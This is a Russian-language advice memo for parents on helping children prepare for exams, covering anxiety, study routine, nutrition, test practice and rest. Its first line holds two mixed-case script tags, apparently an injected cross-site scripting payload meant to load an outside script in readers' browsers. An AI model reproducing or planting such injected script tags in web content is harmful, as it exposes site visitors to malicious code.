<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Памятка
для родителей: «Как помочь детям подготовиться к экзаменам?»
Ø Не тревожьтесь о количестве баллов, которые ребенок
получит на экзамене, и не критикуйте ребенка после экзамена. Окажите поддержку
в любом случае. Внушайте ребенку мысль, что количество баллов не является
совершенным измерением его возможностей.
Ø Не повышайте тревожность ребенка накануне экзаменов -
это может отрицательно сказаться на результате тестирования. Ребенку всегда
передается волнение родителей, и если взрослые в ответственный момент могут
справиться со своими эмоциями, то ребенок в силу возрастных особенностей может
эмоционально "сорваться".
Ø В процессе подготовки к экзаменам подбадривайте
ребенка, хвалите его за то, что он делает хорошо.
Ø Повышайте его уверенность в себе, так как чем больше
ребенок боится неудачи, тем более вероятности допущения ошибок.
Ø Контролируйте режим подготовки ребенка, не допускайте
перегрузок, объясните ему, что он обязательно должен чередовать занятия с
отдыхом.
Ø Наблюдайте за самочувствием ребенка, никто, кроме Вас,
не сможет вовремя заметить и предотвратить ухудшение состояние ребенка,
связанное с переутомлением.
Ø Обеспечьте дома удобное место для занятий, проследите,
чтобы никто из домашних не мешал.
Ø Обратите внимание на питание ребенка: во время
интенсивного умственного напряжения ему необходима питательная и разнообразная
пища и сбалансированный комплекс витаминов. Такие продукты, как рыба, творог,
орехи, курага и т.д. стимулируют работу головного мозга.
Ø Помогите детям распределить темы подготовки по дням.
Ø Ознакомьте ребенка с методикой подготовки к экзаменам.
Не имеет смысла зазубривать весь фактический материал, достаточно просмотреть
ключевые моменты и уловить смысл и логику материала. Очень полезно делать
краткие схематические выписки и таблицы, упорядочивая изучаемый материал по
плану. Если он не умеет, покажите ему, как это делается на практике. Основные
формулы и определения можно выписать на листочках и повесить над письменным
столом, над кроватью, в столовой и т.д.
Ø Подготовьте различные варианты тестовых заданий по
предмету (сейчас существует множество различных сборников тестовых заданий).
Большое значение имеет тренаж ребенка именно по тестированию, ведь эта форма
отличается от привычных ему письменных и устных экзаменов.
Ø Заранее во время тренировки по тестовым заданиям
приучайте ребенка ориентироваться во времени и уметь его распределять. Тогда у
ребенка будет навык умения концентрироваться на протяжении всего тестирования,
что придаст ему спокойствие и снимет излишнюю тревожность. Если ребенок не
носит часов, обязательно дайте ему часы на экзамен.
Ø Посоветуйте детям во время экзамена обратить внимание
на следующее: · пробежать глазами весь тест, чтобы увидеть, какого типа задания
в нем содержатся, это поможет настроиться на работу; · внимательно прочитать
вопрос до конца и понять его смысл (характерная ошибка во время тестирования -
не дочитав до конца, по первым словам уже предполагают ответ и торопятся его
вписать); · если не знаешь ответа на вопрос или не уверен, пропусти его и
отметь, чтобы потом к нему вернуться; если не смог в течение отведенного
времени ответить на вопрос, есть смысл положиться на свою интуицию и указать
наиболее вероятный вариант. И помните: самое главное - это снизить напряжение и
тревожность ребенка и обеспечить подходящие условия для занятий.
Ø Накануне экзамена обеспечьте ребенку полноценный
отдых, он должен отдохнуть и как следует выспаться.
Ø Практика показывает: переедание непосредственно перед
экзаменом тормозит умственную активность.